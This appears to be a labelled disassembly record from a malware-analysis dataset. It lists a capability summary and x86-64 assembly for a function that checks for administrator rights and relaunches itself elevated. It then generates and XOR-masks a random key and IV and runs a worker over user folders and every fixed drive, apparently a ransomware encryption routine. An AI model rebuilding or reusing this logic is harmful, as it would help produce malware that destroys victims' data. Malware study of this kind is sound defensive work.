Function at 0x140001a40
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encode data using xor
Generate random numbers via winapi
Get common file path
Get disk information
Get token membership
Terminate process

Disassembly:
push rbp
push rbx
push r14
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
mov r14, rdx
cmp ecx, 2
jge 0x140001bb1
xor ebx, ebx
mov word [rbp - 0x68], 0x500
lea rax, [rbp - 0x78]
mov dword [rbp - 0x70], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x6c]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov qword [rbp - 0x78], rbx
mov dword [rbp - 0x6c], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001ada
mov rdx, qword [rbp - 0x78]
lea r8, [rbp - 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x70], ebx
jne 0x140001b72
mov r8d, 0x104
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001b72
xorps xmm0, xmm0
mov dword [rbp - 0x60], 0x70
xor eax, eax
lea rcx, [rbp - 0x60]
mov qword [rbp + 4], rax
mov dword [rbp + 0xc], eax
lea rax, str.runas
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0xa0]
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x48], rax
lea rax, [0x140003528]
mov qword [rbp - 0x40], rax
movups xmmword [rbp - 0x2c], xmm0
mov qword [rbp - 0x58], rbx
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp - 0x30], ebx
movups xmmword [rbp - 0xc], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x140001b69
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [r14]
lea r9, str.__foodsum
mov dword [rsp + 0x28], ebx
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.140002020
add rsp, 0x3d0
pop r14
pop rbx
pop rbp
ret
mov qword [rsp + 0x3f0], rsi
xor ecx, ecx
mov qword [rsp + 0x400], rdi
mov qword [rsp + 0x408], r15
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov eax, dword [0x140003740]
lea rsi, [rbp + 0x60]
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov dword [rbp - 0x80], eax
xor ebx, ebx
movups xmm1, xmmword [0x140003730]
movzx eax, byte [0x140003744]
mov edi, ebx
movups xmmword [rsp + 0x60], xmm0
mov byte [rbp - 0x7c], al
movabs r15, 0xe38e38e38e38e38f
movups xmmword [rsp + 0x70], xmm1
nop word [rax + rax]
mov eax, 0xcccccccd
mov ecx, edi
mul edi
shr edx, 2
lea eax, [rdx + rdx*4]
sub ecx, eax
cmp ecx, 4
jne 0x140001c3a
mov al, 0x2d
jmp 0x140001c5d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rsp + rcx + 0x60]
mov byte [rsi], al
inc edi
inc rsi
cmp edi, 0x13
jl 0x140001c20
mov r15, qword [rsp + 0x408]
lea rcx, [rbp - 0x78]
mov rdi, qword [rsp + 0x400]
mov r9d, 0x18
mov rsi, qword [rsp + 0x3f0]
xor r8d, r8d
xor edx, edx
mov byte [rbp + 0x73], bl
mov dword [rsp + 0x20], 0xf0000000
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001ff9
mov rcx, qword [rbp - 0x78]
lea r8, [rbp + 0x78]
mov edx, 0x20
movaps xmmword [rsp + 0x3c0], xmm6
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x78]
lea r8, [rbp + 0x50]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rbp - 0x78]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
movdqa xmm6, xmmword [0x140003760]
mov rax, rbx
nop
movdqu xmm0, xmmword [rbp + rax + 0x78]
xorps xmm0, xmm6
movdqu xmmword [rbp + rax + 0x78], xmm0
add rax, 0x10
cmp rax, 0x20
jb 0x140001cf0
movdqu xmm0, xmmword [rbp + 0x50]
lea r8, [rbp + 0x60]
movdqa xmm1, xmm6
lea rdx, [rbp + 0x50]
xorps xmm1, xmm0
lea rcx, [rbp + 0x78]
movdqu xmmword [rbp + 0x50], xmm1
call fcn.140001810
mov rax, rbx
nop
movdqu xmm0, xmmword [rbp + rax + 0x78]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rbp + rax + 0x78], xmm1
add rax, 0x10
cmp rax, 0x20
jb 0x140001d30
movdqu xmm0, xmmword [rbp + 0x50]
xor ecx, ecx
xorps xmm6, xmm0
movdqu xmmword [rbp + 0x50], xmm6
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
movaps xmm6, xmmword [rsp + 0x3c0]
mov qword [0x1400056d0], rax
test rax, rax
jne 0x140001d96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.tpcf:__d_n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov qword [0x1400056c8], rax
mov rcx, rax
test rax, rax
jne 0x140001dd8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.pf:__d_n
call fcn.140001060
mov rcx, qword [0x1400056d0]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [0x1400056d0]
lea rdx, str.__foodsum
xorps xmm0, xmm0
mov qword [0x140005688], rax
movdqu xmmword [0x1400056a0], xmm0
mov dword [0x140005680], 3
mov qword [0x1400056b0], rbx
mov dword [0x1400056b8], ebx
mov dword [0x1400056bc], 1
mov dword [0x1400056c0], 0x48
mov qword [0x140005690], rcx
mov qword [0x140005698], rbx
mov rcx, qword [r14 + 8]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001fef
movups xmm1, xmmword [0x140003480]
mov qword [rbp - 0x78], rbx
movups xmm0, xmmword [0x140003440]
movups xmm2, xmmword [0x140003470]
movups xmmword [rbp - 0x40], xmm1
movups xmm1, xmmword [0x140003460]
movups xmmword [rbp - 0x50], xmm0
movq rcx, xmm2
movups xmm0, xmmword [0x1400034a0]
movups xmmword [rbp - 0x20], xmm1
movups xmm1, xmmword [0x1400034b0]
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x140003490]
movups xmmword [rbp], xmm1
movups xmm1, xmmword [0x140003450]
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x1400034c0]
movups xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [0x1400034d0]
movups xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [0x140003430]
movq rax, xmm1
movups xmmword [rbp - 0x60], xmm2
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm1
cmp rcx, rax
jne 0x140001eeb
psrldq xmm2, 8
psrldq xmm1, 8
movq rcx, xmm2
movq rax, xmm1
cmp rcx, rax
je 0x140001f6d
lea rcx, [rbp - 0x60]
nop
lea r9, [rbp - 0x78]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
jne 0x140001f44
mov rdx, qword [rbp - 0x78]
lea rcx, [rbp + 0xa0]
mov r8d, 0x104
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rax, [rbp + 0x60]
xor r9d, r9d
lea r8, [rbp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0xa0]
call fcn.1400014e0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
inc ebx
lea rcx, [rbp - 0x60]
movsxd rax, ebx
shl rax, 4
add rcx, rax
mov rax, qword [rcx]
cmp rax, qword [0x1400034d0]
jne 0x140001ef0
mov rax, qword [rcx + 8]
cmp rax, qword [0x1400034d8]
jne 0x140001ef0
mov bl, 0x41
nop
lea rcx, [rbp - 0x70]
mov byte [rbp - 0x70], bl
mov word [rbp - 0x6f], 0x5c3a
mov byte [rbp - 0x6d], 0
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x140001fa9
lea rax, [rbp + 0x60]
xor r9d, r9d
lea r8, [rbp + 0x50]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp - 0x70]
call fcn.1400014e0
inc bl
cmp bl, 0x5a
jle 0x140001f70
mov rcx, qword [0x1400056c8]
test rcx, rcx
je 0x140001fd4
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x1400056c8]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x1400056d0]
test rcx, rcx
je 0x140001b94
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x140001b94
mov eax, 1
jmp 0x140001b96
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3